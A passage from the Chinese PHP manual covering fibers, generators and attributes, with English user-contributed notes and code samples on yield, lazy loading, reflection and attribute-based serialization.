    [E] => Thread 'E' finished after printing 'E' for 15 times!
    [B] => Thread 'B' finished after printing 'B' for 15 times!
    [F] => Thread 'F' finished after printing 'F' for 15 times!
    [A] => Thread 'A' finished after printing 'A' for 18 times!
)
maxpanchnko at gmail dot com 22-May-2022 12:16
One of examples, how to make multi_curl faster twice (pseudocode) using Fibers:

<?php

$curlHandles = [];
$urls = [
    'https://example.com/1',
    'https://example.com/2',
    ...
    'https://example.com/1000',
];
$mh = curl_multi_init();
$mh_fiber = curl_multi_init();

$halfOfList = floor(count($urls) / 2);
foreach ($urls as $index => $url) {
    $ch = curl_init($url);
    $curlHandles[] = $ch;

    // half of urls will be run in background in fiber
    $index > $halfOfList ? curl_multi_add_handle($mh_fiber, $ch) : curl_multi_add_handle($mh, $ch);
}

$fiber = new Fiber(function (CurlMultiHandle $mh) {
    $still_running = null;
    do {
        curl_multi_exec($mh, $still_running);
        Fiber::suspend();
    } while ($still_running);
});

// run curl multi exec in background while fiber is in suspend status
$fiber->start($mh_fiber);

$still_running = null;
do {
    $status = curl_multi_exec($mh, $still_running);
} while ($still_running);

do {
    /**
     * at this moment curl in fiber already finished (maybe)
     * so we must refresh $still_running variable with one more cycle "do while" in fiber
     **/
    $status_fiber = $fiber->resume();
} while (!$fiber->isTerminated());

foreach ($curlHandles as $index => $ch) {
    $index > $halfOfList ? curl_multi_remove_handle($mh_fiber, $ch) : curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
curl_multi_close($mh_fiber);
?>
user at csa dot es 05-May-2022 07:11
Perhaps not using the same variable name everywhere will be a good idea

<?php
$fiber = new Fiber(function (): void {
   $parm = Fiber::suspend('fiber');
   echo "Value used to resume fiber: ", $parm, PHP_EOL;
});

$res = $fiber->start();

echo "Value from fiber suspending: ", $res, PHP_EOL;

$fiber->resume('test');
?>


生成器

Table of Contents

  • 生成器总览
  • 生成器语法
  • 生成器与 Iterator 对象的比较

User Contributed Notes

There are no user contributed notes for this page.


生成器总览

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

生成器提供了一种更容易的方法来实现简单的对象迭代，相比较定义类实现 Iterator 接口的方式，性能开销和复杂性大大降低。

生成器允许你在 foreach 代码块中写代码来迭代一组数据而不需要在内存中创建一个数组, 那会使你的内存达到上限，或者会占据可观的处理时间。相反，你可以写一个生成器函数，就像一个普通的自定义函数一样, 和普通函数只返回一次不同的是, 生成器可以根据需要 yield 多次，以便生成需要迭代的值。

一个简单的例子就是使用生成器来重新实现 range() 函数。 标准的 range() 函数需要在内存中生成一个数组包含每一个在它范围内的值，然后返回该数组, 结果就是会产生多个很大的数组。 比如，调用 range(0, 1000000) 将导致内存占用超过 100 MB。

做为一种替代方法, 我们可以实现一个 xrange() 生成器, 只需要足够的内存来创建 Iterator 对象并在内部跟踪生成器的当前状态，这样只需要不到1K字节的内存。

Example #1 将 range() 实现为生成器

<?php
function xrange($start, $limit, $step = 1) {
if ($start <= $limit) {
if ($step <= 0) {
throw new LogicException('Step must be positive');
}

for ($i = $start; $i <= $limit; $i += $step) {
yield $i;
}
} else {
if ($step >= 0) {
throw new LogicException('Step must be negative');
}

for ($i = $start; $i >= $limit; $i += $step) {
yield $i;
}
}
}

/*
* 注意下面range()和xrange()输出的结果是一样的。
*/

echo 'Single digit odd numbers from range(): ';
foreach (range(1, 9, 2) as $number) {
echo "$number ";
}
echo "\n";

echo 'Single digit odd numbers from xrange(): ';
foreach (xrange(1, 9, 2) as $number) {
echo "$number ";
}
?>

以上示例会输出：

Single digit odd numbers from range():  1 3 5 7 9
Single digit odd numbers from xrange(): 1 3 5 7 9

Generator 对象

调用生成器函数时会返回一个内部的 Generator 类的对象。 该对象实现了 Iterator 接口，基本上和仅向前的迭代器一样， 它提供的方法可以操控生成器的状态，包括发送值、返回值。

User Contributed Notes

chung1905 at gmail dot com 03-Oct-2019 03:09
In addition to the note of "montoriusz at gmail dot com": https://www.php.net/manual/en/language.generators.overview.php#119275

"If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function."
You can use Generator::rewind instead (https://www.php.net/manual/en/generator.rewind.php)

Sample code:
<?php
/** function/generator definition **/

echo "calling gen()...\n";
$result = gen();
$result->rewind();
echo "gen() was called\n";

/** iteration **/
?>
Anonymous 22-Feb-2019 08:34
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both exassmples.
So no real drawbacks concerning processing speed.
youssefbenhssaien at gmail dot com 13-Apr-2017 03:29
A simple function to parse an ini configuration file
<?php
    function parse_ini($file_path){
        if(!file_exists($file_path)){
            throw new Exception("File not exists ${file_path}");
        }
        $text = fopen($file_path, 'r');
        while($line=fgets($text)){
            list($key, $param) = explode('=', $line);
            yield $key => $param;
        }
    }
?>
//Usage : parse_ini('param.ini') // returns Generator Object
//Usage : iterator_to_array(parse_ini('param.ini')); // returns an array
montoriusz at gmail dot com 01-May-2016 11:55
Bear in mind that execution of a generator function is postponed until iteration over its result (the Generator object) begins. This might confuse one if the result of a generator is assigned to a variable instead of immediate iteration.

<?php

$some_state = 'initial';

function gen() {
    global $some_state;

    echo "gen() execution start\n";
    $some_state = "changed";

    yield 1;
    yield 2;
}

function peek_state() {
    global $some_state;
    echo "\$some_state = $some_state\n";
}

echo "calling gen()...\n";
$result = gen();
echo "gen() was called\n";

peek_state();

echo "iterating...\n";
foreach ($result as $val) {
    echo "iteration: $val\n";
    peek_state();
}

?>

If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function.

<?php
/**
  * @return Generator
  */
function some_generator() {
    global $some_state;

    $some_state = "changed";
    return gen();
}
?>
info at boukeversteegh dot nl 21-Dec-2015 12:21
Here's how to detect loop breaks, and how to handle or cleanup after an interruption.

<?php
    function generator()
    {
        $complete = false;
        try {

            while (($result = some_function())) {
                yield $result;
            }
            $complete = true;

        } finally {
            if (!$complete) {
                // cleanup when loop breaks
            } else {
                // cleanup when loop completes
            }
        }

        // Do something only after loop completes
    }
?>
dc at libertyskull dot com 17-Feb-2014 02:59
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both examples.
So no real drawbacks concerning processing speed.
lubaev 15-Jan-2014 11:46
Abstract test.
<?php

$start_time=microtime(true);
$array = array();
$result = '';
for($count=1000000; $count--;)
{
  $array[]=$count/2;
}
foreach($array as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>

<?php

$start_time=microtime(true);
$result = '';
function it()
{
  for($count=1000000; $count--;)
  {
    yield $count/2;
  }
}
foreach(it() as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>
Result:
----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 2.1216 | 89.25      |
|---------------------------------
| with gen | 6.1963 | 8.75       |
|---------------------------------
| diff     | < 192% | > 90%      |
----------------------------------
bloodjazman at gmail dot com 15-Aug-2013 07:32
for the protection from the leaking of resources
see RFC https://wiki.php.net/rfc/generators#closing_a_generator

and use finnaly

sample code

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

foreach (getLines("file.txt") as $n => $line) {
    if ($n > 5) break;
    echo $line;
}


生成器语法

生成器函数看起来像普通函数——不同的是普通函数返回一个值，而生成器可以 yield 生成多个想要的值。 任何包含 yield 的函数都是一个生成器函数。

当一个生成器被调用的时候，它返回一个可以被遍历的对象.当你遍历这个对象的时候(例如通过一个foreach循环)，PHP 将会在每次需要值的时候调用对象的遍历方法，并在产生一个值之后保存生成器的状态，这样它就可以在需要产生下一个值的时候恢复调用状态。

一旦不再需要产生更多的值，生成器可以简单退出，而调用生成器的代码还可以继续执行，就像一个数组已经被遍历完了。

Note:

生成器能够返回多个值，通过 Generator::getReturn() 可以获取到。

yield 关键字

生成器函数的核心是yield关键字。它最简单的调用形式看起来像一个return申明，不同之处在于普通return会返回值并终止函数的执行，而yield会返回一个值给循环调用此生成器的代码并且只是暂停执行生成器函数。

Example #1 一个简单的生成值的例子

<?php
function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
//注意变量$i的值在不同的yield之间是保持传递的。
yield $i;
}
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
echo "$value\n";
}
?>

以上示例会输出：

1
2
3

Note:

在内部会为生成的值配对连续的整型索引，就像一个非关联的数组。

指定键名来生成值

PHP的数组支持关联键值对数组，生成器也一样支持。所以除了生成简单的值，你也可以在生成值的时候指定键名。

如下所示，生成一个键值对与定义一个关联数组十分相似。

Example #2 生成一个键值对

<?php
/*
* 下面每一行是用分号分割的字段组合，第一个字段将被用作键名。
*/

$input = <<<'EOF'
1;PHP;Likes dollar signs
2;Python;Likes whitespace
3;Ruby;Likes blocks
EOF;

function input_parser($input) {
foreach (explode("\n", $input) as $line) {
$fields = explode(';', $line);
$id = array_shift($fields);

yield $id => $fields;
}
}

foreach (input_parser($input) as $id => $fields) {
echo "$id:\n";
echo " $fields[0]\n";
echo " $fields[1]\n";
}
?>

以上示例会输出：

1:
    PHP
    Likes dollar signs
2:
    Python
    Likes whitespace
3:
    Ruby
    Likes blocks

生成 null 值

Yield 可以在没有参数传入的情况下被调用来生成一个 null 值并配对一个自动的键名。

Example #3 生成nulls

<?php
function gen_three_nulls() {
foreach (range(1, 3) as $i) {
yield;
}
}

var_dump(iterator_to_array(gen_three_nulls()));
?>

以上示例会输出：

array(3) {
  [0]=>
  NULL
  [1]=>
  NULL
  [2]=>
  NULL
}

使用引用来生成值

生成函数可以像使用值一样来使用引用生成。这个和从函数返回一个引用一样：通过在函数名前面加一个引用符号。

Example #4 使用引用来生成值

<?php
function &gen_reference() {
$value = 3;

while ($value > 0) {
yield $value;
}
}

/*
* 我们可以在循环中修改 $number 的值，而生成器是使用的引用值来生成，所以 gen_reference() 内部的 $value 值也会跟着变化。
*/
foreach (gen_reference() as &$number) {
echo (--$number).'... ';
}
?>

以上示例会输出：

2... 1... 0...

可用的 yield from 生成器委托

生成器委托允许使用 yield from 关键字从另外一个生成器、 Traversable 对象、array 通过生成值。 外部生成器将从内部生成器、object、array 中生成所有的值，直到它们不再有效， 之后将在外部生成器中继续执行。

如果生成器与 yield from 一起使用，那么 yield from 表达式将返回内部生成器返回的任何值。

Caution

存储到 array （例如使用 iterator_to_array()）

yield from 不能重置 key。它保留 Traversable 对象或者 array 返回的 key。因此，某些值可能会与其他的 yield 或者 yield from 共享公共的 key，因此，在插入数组时将会用这个 key 覆盖以前的值。

一个非常重要的常见情况是 iterator_to_array() 默认返回带 key 的 array ， 这可能会造成无法预料的结果。 iterator_to_array() 还有第二个参数 preserve_keys ，可以设置为 false 来收集 Generator 返回的不带 key 的所有值。

Example #5 使用 iterator_to_array() 的 yield from

<?php
function inner() {
yield 1; // key 0
yield 2; // key 1
yield 3; // key 2
}
function gen() {
yield 0; // key 0
yield from inner(); // keys 0-2
yield 4; // key 1
}
// 传递 false 作为第二个参数获得数组 [0, 1, 2, 3, 4]
var_dump(iterator_to_array(gen()));
?>

以上示例会输出：

 array(3) {
   [0]=>
   int(1)
   [1]=>
   int(4)
   [2]=>
   int(3)
 }

Example #6 yield from 的基本用法

<?php
function count_to_ten() {
yield 1;
yield 2;
yield from [3, 4];
yield from new ArrayIterator([5, 6]);
yield from seven_eight();
yield 9;
yield 10;
}

function seven_eight() {
yield 7;
yield from eight();
}

function eight() {
yield 8;
}

foreach (count_to_ten() as $num) {
echo "$num ";
}
?>

以上示例会输出：

1 2 3 4 5 6 7 8 9 10

Example #7 yield from 并返回多个值

<?php
function count_to_ten() {
yield 1;
yield 2;
yield from [3, 4];
yield from new ArrayIterator([5, 6]);
yield from seven_eight();
return yield from nine_ten();
}

function seven_eight() {
yield 7;
yield from eight();
}

function eight() {
yield 8;
}

function nine_ten() {
yield 9;
return 10;
}

$gen = count_to_ten();
foreach ($gen as $num) {
echo "$num ";
}
echo $gen->getReturn();
?>

以上示例会输出：

1 2 3 4 5 6 7 8 9 10

User Contributed Notes

christianggimenez at gmail dot com 24-Jun-2019 09:36
Module list of a number from 1 to 100.

<?php

function list_of_modulo(){

    for($i = 1; $i <= 100; $i++){

        if(($i % 2) == 0){
            yield $i;
        }
    }
}

$modulos = list_of_modulo();

foreach($modulos as $value){

    echo "$value\n";
}

?>
Hayley Watson 21-Dec-2015 09:14
If for some strange reason you need a generator that doesn't yield anything, an empty function doesn't work; the function needs a yield statement to be recognised as a generator.

<?php

function gndn()
{
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>

 But it's enough to have the yield syntactically present even if it's not reachable:

<?php

function gndn()
{
    if(false) { yield; }
}

foreach(gndn() as $it)
{
    echo 'FNORD';
}

?>
zilvinas at kuusas dot lt 16-Nov-2015 09:18
Do not call generator functions directly, that won't work.

<?php

function my_transform($value) {
    var_dump($value);
    return $value * 2;
}

function my_function(array $values) {
    foreach ($values as $value) {
        yield my_transform($value);
    }
}

$data = [1, 5, 10];
// my_transform() won't be called inside my_function()
my_function($data);

# my_transform() will be called.
foreach (my_function($data) as $val) {
    // ...
}
?>
Harun Yasar harunyasar at mail dot com 12-Jun-2015 02:43
That is a simple fibonacci generator.

<?php
function fibonacci($item) {
    $a = 0;
    $b = 1;
    for ($i = 0; $i < $item; $i++) {
        yield $a;
        $a = $b - $a;
        $b = $a + $b;
    }
}

# give me the first ten fibonacci numbers
$fibo = fibonacci(10);
foreach ($fibo as $value) {
    echo "$value\n";
}
?>
info at boukeversteegh dot nl 23-Jan-2015 07:02
[This comment replaces my previous comment]

You can use generators to do lazy loading of lists. You only compute the items that are actually used. However, when you want to load more items, how to cache the ones already loaded?

Here is how to do cached lazy loading with a generator:

<?php
class CachedGenerator {
    protected $cache = [];
    protected $generator = null;

    public function __construct($generator) {
        $this->generator = $generator;
    }

    public function generator() {
        foreach($this->cache as $item) yield $item;

        while( $this->generator->valid() ) {
            $this->cache[] = $current = $this->generator->current();
            $this->generator->next();
            yield $current;
        }
    }
}
class Foobar {
    protected $loader = null;

    protected function loadItems() {
        foreach(range(0,10) as $i) {
            usleep(200000);
            yield $i;
        }
    }

    public function getItems() {
        $this->loader = $this->loader ?: new CachedGenerator($this->loadItems());
        return $this->loader->generator();
    }
}

$f = new Foobar;

# First
print "First\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
    if( $i == 5 ) {
        break;
    }
}

# Second (items 1-5 are cached, 6-10 are loaded)
print "Second\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}

# Third (all items are cached and returned instantly)
print "Third\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}
?>
christophe dot maymard at gmail dot com 11-Sep-2014 04:43
<?php
//Example of class implementing IteratorAggregate using generator

class ValueCollection implements IteratorAggregate
{
    private $items = array();

    public function addValue($item)
    {
        $this->items[] = $item;
        return $this;
    }

    public function getIterator()
    {
        foreach ($this->items as $item) {
            yield $item;
        }
    }
}

//Initializes a collection
$collection = new ValueCollection();
$collection
        ->addValue('A string')
        ->addValue(new stdClass())
        ->addValue(NULL);

foreach ($collection as $item) {
    var_dump($item);
}
denshadewillspam at HOTMAIL dot com 13-Apr-2014 10:46
Note that you can't use count() on generators.

/**
 * @return integer[]
 */
function xrange() {
    for ($a = 0; $a < 10; $a++)
    {
        yield $a;
    }
}

function mycount(Traversable $traversable)
{
    $skip = 0;
    foreach($traversable as $skip)
    {
        $skip++;
    }
    return $skip;
}
echo "Count:" . count(xrange()). PHP_EOL;
echo "Count:" . mycount(xrange()). PHP_EOL;
Shumeyko Dmitriy 08-Nov-2013 07:46
This is little example of using generators with recursion. Used version of php is 5.5.5
[php]
<?php
define ("DS", DIRECTORY_SEPARATOR);
define ("ZERO_DEPTH", 0);
define ("DEPTHLESS", -1);
define ("OPEN_SUCCESS", True);
define ("END_OF_LIST", False);
define ("CURRENT_DIR", ".");
define ("PARENT_DIR", "..");

function DirTreeTraversal($DirName, $MaxDepth = DEPTHLESS, $CurrDepth = ZERO_DEPTH)
{
  if (($MaxDepth === DEPTHLESS) || ($CurrDepth < $MaxDepth)) {
    $DirHandle = opendir($DirName);
    if ($DirHandle !== OPEN_SUCCESS) {
      try{
        while (($FileName = readdir($DirHandle)) !== END_OF_LIST) { //read all file in directory
          if (($FileName != CURRENT_DIR) && ($FileName != PARENT_DIR)) {
            $FullName = $DirName.$FileName;
            yield $FullName;
            if(is_dir($FullName)) { //include sub files and directories
              $SubTrav = DirTreeTraversal($FullName.DS, $MaxDepth, ($CurrDepth + 1));
              foreach($SubTrav as $SubItem) yield $SubItem;
            }
          }
        }
      } finally {
        closedir($DirHandle);
      }
    }
  }
}

$PathTrav = DirTreeTraversal("C:".DS, 2);
print "<pre>";
foreach($PathTrav as $FileName) printf("%s\n", $FileName);
print "</pre>";
[/php]
Adil lhan (adilmedya at gmail dot com) 18-Apr-2013 09:02
For example yield keyword with Fibonacci:

function getFibonacci()
{
    $i = 0;
    $k = 1; //first fibonacci value
    yield $k;
    while(true)
    {
        $k = $i + $k;
        $i = $k - $i;
        yield $k;
    }
}

$y = 0;

foreach(getFibonacci() as $fibonacci)
{
    echo $fibonacci . "\n";
    $y++;
    if($y > 30)
    {
        break; // infinite loop prevent
    }
}


生成器与 Iterator 对象的比较

生成器最主要的优点是简洁。和实现一个 Iterator 类相较而言， 同样的功能，用生成器可以编写更少的代码，可读性也更强。 举例，下面的类和函数是相等的：

<?php
function getLinesFromFile($fileName) {
if (!$fileHandle = fopen($fileName, 'r')) {
return;
}

while (false !== $line = fgets($fileHandle)) {
yield $line;
}

fclose($fileHandle);
}

// 比较下...

class LineIterator implements Iterator {
protected $fileHandle;

protected $line;
protected $i;

public function __construct($fileName) {
if (!$this->fileHandle = fopen($fileName, 'r')) {
throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
}
}

public function rewind() {
fseek($this->fileHandle, 0);
$this->line = fgets($this->fileHandle);
$this->i = 0;
}

public function valid() {
return false !== $this->line;
}

public function current() {
return $this->line;
}

public function key() {
return $this->i;
}

public function next() {
if (false !== $this->line) {
$this->line = fgets($this->fileHandle);
$this->i++;
}
}

public function __destruct() {
fclose($this->fileHandle);
}
}
?>

不过，这也付出了灵活性的代价： 生成器是一个只能向前的迭代器，一旦开始遍历就无法后退。 意思也就是说，同样的生成器无法遍历多次：要么再次调用生成器函数，重新生成后再遍历。

参见

  • 遍历对象

User Contributed Notes

jorgeley at gmail dot com 04-Nov-2019 09:44
I think the power of generators is underestimated here, look at my example:

<?php

/**
 * simple example class just to have something to instantiate
 */
class obj {

    private $i = 1;
    private $a = [];

    function __construct($i = 1) {
        $this->i = $i;
        $this->a = range(0, $i);
    }

    public function getI() {
        return $this->i;
    }
    //more getters and setters...
}

/**
 * this is a common way of returning objects in a bulk
 * @param int $n
 * @return \obj
 */
function returnObjects($n = 1000) {
    $objs = [];
    for ($i = 1; $i <= $n; $i++) {
        $objs[] = new obj($i);
    }
    return $objs;
}

/**
 * this is a  better way using generator, rather than returning all objects,
 * it returns one by one (it saves the state of the function in every call)
 * @param int $n
 */
function generateObjects($n = 1000) {
    for ($i = 1; $i <= $n; $i++) {
        /**
         * 'yield' returns the object and save the status of the function, so
         * next call starts from next loop iteration and so on...
         */
        yield (new obj($i));
    }
}

//main script: get current memory, run one of the functions and calculate memory usage after
$m = memory_get_peak_usage();
/**
 * comment 'returnObjects()' call bellow and uncomment 'generateObjects()' call
 * if you want to see the generator memory usage
 */
//$objs = returnObjects();

/**
 * comment 'generateObjects()' and uncomment 'returnObjects()' call if you
 * want to see the common function return memory usage
 */
$objs = generateObjects();
foreach ($objs as $obj) {
    echo get_class($obj) . ": {$obj->getI()}\n";
}
echo "total memory comsuption: " . (memory_get_peak_usage() - $m) . " bytes\n";

?>

what is the outcome? Using the 'returnObjects()' we return an array within 1000 objects, but using the 'generateObjects()' we only instantiate one object since the yield returns (stop the loop) but also saves the state of the function, so next call the function resumes rather than restarting. In my environment I got a difference of 37K to 25M
Thanks to my dear friend Ivan Frezza who helped me to understand this better!
sergeyzsg at yandex dot ru 08-Jun-2014 12:32
I think that this is bad generator example.
If user will not consume all lines then file will not be closed.

<?php
function getLinesFromFile($fileHandle) {
    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }
}

if ($fileHandle = fopen($fileName, 'r')) {
    /*
    something with getLinesFromFile
    */
    fclose($fileHandle);
}
?>
sou at oand dot re 04-Jul-2013 01:34
I think to be more similar the samples in the function, throw a new exception is better. But looking into "Generator syntax" session, you can see there this: "An empty return statement is valid syntax within a generator and it will terminate the generator.". By this point of view, we can imagine that this is just to exemplify an usage of the empty return.
mNOSPAMsenghaa at nospam dot gmail dot com 20-Jun-2013 07:45
This hardly seems a fair comparison between the two examples, size-for-size. As noted, generators are forward-only, meaning that it should be compared to an iterator with a dummy rewind function defined. Also, to be fair, since the iterator throws an exception, shouldn't the generator example also throw the same exception? The code comparison would become more like this:

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// versus...

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() { }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

The generator is still obviously much shorter, but this seems a more reasonable comparison.


注解

Table of Contents

  • 注解概览
  • 注解语法
  • 使用反射 API 读取注解
  • 声明注解类

User Contributed Notes

There are no user contributed notes for this page.


注解概览

(PHP 8)

注解功能提供了代码中的声明部分都可以添加结构化、机器可读的元数据的能力， 注解的目标可以是类、方法、函数、参数、属性、类常量。 通过 反射 API 可在运行时获取注解所定义的元数据。 因此注解可以成为直接嵌入代码的配置式语言。

通过注解的使用，在应用中实现功能、使用功能可以相互解耦。 某种程度上讲，它可以和接口（interface）与其实现（implementation）相比较。 但接口与实现是代码相关的，注解则与声明额外信息和配置相关。 接口可以通过类来实现，而注解也可以声明到方法、函数、参数、属性、类常量中。 因此它们比接口更灵活。

注解使用的一个简单例子：将接口（interface）的可选方法改用注解实现。 我们假设接口 ActionHandler 代表了应用的一个操作： 部分 action handler 的实现需要 setup，部分不需要。 我们可以使用注解，而不用要求所有类必须实现 ActionHandler 接口并实现 setUp() 方法。 因此带来一个好处——可以多次使用注解。

Example #1 用注解实现接口的可选方法

<?php
interface ActionHandler
{
public function execute();
}

#[Attribute]
class SetUp {}

class CopyFile implements ActionHandler
{
public string $fileName;
public string $targetDirectory;

#[SetUp]
public function fileExists()
{
if (!file_exists($this->fileName)) {
throw new RuntimeException("File does not exist");
}
}

#[SetUp]
public function targetDirectoryExists()
{
if (!file_exists($this->targetDirectory)) {
mkdir($this->targetDirectory);
} elseif (!is_dir($this->targetDirectory)) {
throw new RuntimeException("Target directory $this->targetDirectory is not a directory");
}
}

public function execute()
{
copy($this->fileName, $this->targetDirectory . '/' . basename($this->fileName));
}
}

function executeAction(ActionHandler $actionHandler)
{
$reflection = new ReflectionObject($actionHandler);

foreach ($reflection->getMethods() as $method) {
$attributes = $method->getAttributes(SetUp::class);

if (count($attributes) > 0) {
$methodName = $method->getName();

$actionHandler->$methodName();
}
}

$actionHandler->execute();
}

$copyAction = new CopyFile();
$copyAction->fileName = "/tmp/foo.jpg";
$copyAction->targetDirectory = "/home/user";

executeAction($copyAction);

User Contributed Notes

Florian Krmer 05-Nov-2022 09:57
I've tried Harshdeeps example and it didn't run out of the box and I think it is not complete, so I wrote a complete and working naive example regarding attribute based serialization.

<?php
declare(strict_types=1);

#[Attribute(Attribute::TARGET_CLASS_CONSTANT|Attribute::TARGET_PROPERTY)]
class JsonSerialize
{
    public function __construct(public ?string $fieldName = null) {}
}

class VersionedObject
{
    #[JsonSerialize]
    public const version = '0.0.1';
}

class UserLandClass extends VersionedObject
{
    protected string $notSerialized = 'nope';

    #[JsonSerialize('foobar')]
    public string $myValue = '';

    #[JsonSerialize('companyName')]
    public string $company = '';

    #[JsonSerialize('userLandClass')]
    protected ?UserLandClass $test;

    public function __construct(?UserLandClass $userLandClass = null)
    {
        $this->test = $userLandClass;
    }
}

class AttributeBasedJsonSerializer {

    protected const ATTRIBUTE_NAME = 'JsonSerialize';

    public function serialize($object)
    {
        $data = $this->extract($object);

        return json_encode($data, JSON_THROW_ON_ERROR);
    }

    protected function reflectProperties(array $data, ReflectionClass $reflectionClass, object $object)
    {
        $reflectionProperties = $reflectionClass->getProperties();
        foreach ($reflectionProperties as $reflectionProperty) {
            $attributes = $reflectionProperty->getAttributes(static::ATTRIBUTE_NAME);
            foreach ($attributes as $attribute) {
                $instance = $attribute->newInstance();
                $name = $instance->fieldName ?? $reflectionProperty->getName();
                $value = $reflectionProperty->getValue($object);
                if (is_object($value)) {
                    $value = $this->extract($value);
                }
                $data[$name] = $value;
            }
        }

        return $data;
    }

    protected function reflectConstants(array $data, ReflectionClass $reflectionClass)
    {
        $reflectionConstants = $reflectionClass->getReflectionConstants();
        foreach ($reflectionConstants as $reflectionConstant) {
            $attributes = $reflectionConstant->getAttributes(static::ATTRIBUTE_NAME);
            foreach ($attributes as $attribute) {
                $instance = $attribute->newInstance();
                $name = $instance->fieldName ?? $reflectionConstant->getName();
                $value = $reflectionConstant->getValue();
                if (is_object($value)) {
                    $value = $this->extract($value);
                }
                $data[$name] = $value;
            }
        }

        return $data;
    }

    protected function extract(object $object)
    {
        $data = [];
        $reflectionClass = new ReflectionClass($object);
        $data = $this->reflectProperties($data, $reflectionClass, $object);
        $data = $this->reflectConstants($data, $reflectionClass);

        return $data;
    }
}

$userLandClass = new UserLandClass();
$userLandClass->company = 'some company name';
$userLandClass->myValue = 'my value';

$userLandClass2 = new UserLandClass($userLandClass);
$userLandClass2->company = 'second';
$userLandClass2->myValue = 'my second value';

$serializer = new AttributeBasedJsonSerializer();
$json = $serializer->serialize($userLandClass2);

var_dump(json_decode($json, true));
Harshdeep 04-Mar-2022 05:22
While the example displays us what we can accomplish with attributes, it should be kept in mind that the main idea behind attributes is to attach static metadata to code (methods, properties, etc.).

This metadata often includes concepts such as "markers" and "configuration". For example, you can write a serializer using reflection that only serializes marked properties (with optional configuration, such as field name in serialized file). This is reminiscent of serializers written for C# applications.

That said, full reflection and attributes go hand in hand. If your use case is satisfied by inheritance or interfaces, prefer that. The most common use case for attributes is when you have no prior information about the provided object/class.

<?php
interface JsonSerializable
{
    public function toJson() : array;
}
?>

versus, using attributes,
<?php

#[Attribute]
class JsonSerialize
{
    public function __constructor(public ?string $fieldName = null) {}
}

class VersionedObject
{
   #[JsonSerialize]
    public const version = '0.0.1';
}

public class UserLandClass extends VersionedObject
{
    #[JsonSerialize('call it Jackson')]
    public string $myValue;
}

?>
The example above is a little extra convoluted with the existence of the VersionedObject class as I wished to display that with attribute mark ups, you do not need to care how the base class manages its attributes (no call to parent in overriden method).
Justin 28-Feb-2022 08:41
Allowing multiple functions to be tagged with the same Attribute is promoting weird design patterns. Because now the order of the tagged functions within the class becomes relevant. The order of functions within a class should remain arbitrary.

It would be better to limit function tagging to one Attribute only. This would force people to implement one function per attribute, which can then call all the other functions they would otherwise tag with these Attribute's.


注解语法

注解语法包含以下几部分。 首先，注解声明总是以 #[ 开头，以 ] 结尾来包围。 内部则是一个或以逗号包含的多个注解。 注解的名称按 使用命名空间：基础 章节中描述，可以是非限定、限定、完全限定的名称。 注解的参数是可以选的，以常见的括号()包围。 注解的参数只能是字面值或者常量表达式。 它同时接受位置参数和命名参数两种语法。

通过反射 API 请求注解实例时，注解的名称会被解析到一个类，注解的参数则传入该类的构造器中。 因此每个注解都需要引入一个类。

Example #1 注解语法

<?php
// a.php
namespace MyExample;

use Attribute;

#[Attribute]
class MyAttribute
{
const VALUE = 'value';

private $value;

public function __construct($value = null)
{
$this->value = $value;
}
}

// b.php

namespace Another;

use MyExample\MyAttribute;

#[MyAttribute]
#[\MyExample\MyAttribute]
#[MyAttribute(1234)]
#[MyAttribute(value: 1234)]
#[MyAttribute(MyAttribute::VALUE)]
#[MyAttribute(array("key" => "value"))]
#[MyAttribute(100 + 200)]
class Thing
{
}

#[MyAttribute(1234), MyAttribute(5678)]
class AnotherThing
{
}

User Contributed Notes

There are no user contributed notes for this page.


使用反射 API 读取注解

反射 API 提供了 getAttributes() 方法， 类、方法、函数、参数、属性、类常量的反射对象可通过它获取相应的注解。 该方法返回了 ReflectionAttribute 实例的数组， 可用于查询注解名称、参数、也可以实例化一个注解。

实例和反射注解的分离使得程序员增加了在丢失反射类、类型错误、丢失参数等情况下的处理能力，也能处理错误。 只有调用 ReflectionAttribute::newInstance() 后，注解类的对象才会以验证过匹配的参数来实例化。

Example #1 通过反射 API 读取注解

<?php

#[Attribute]
class MyAttribute
{
public $value;

public function __construct($value)
{
$this->value = $value;
}
}

#[MyAttribute(value: 1234)]
class Thing
{
}

function dumpAttributeData($reflection) {
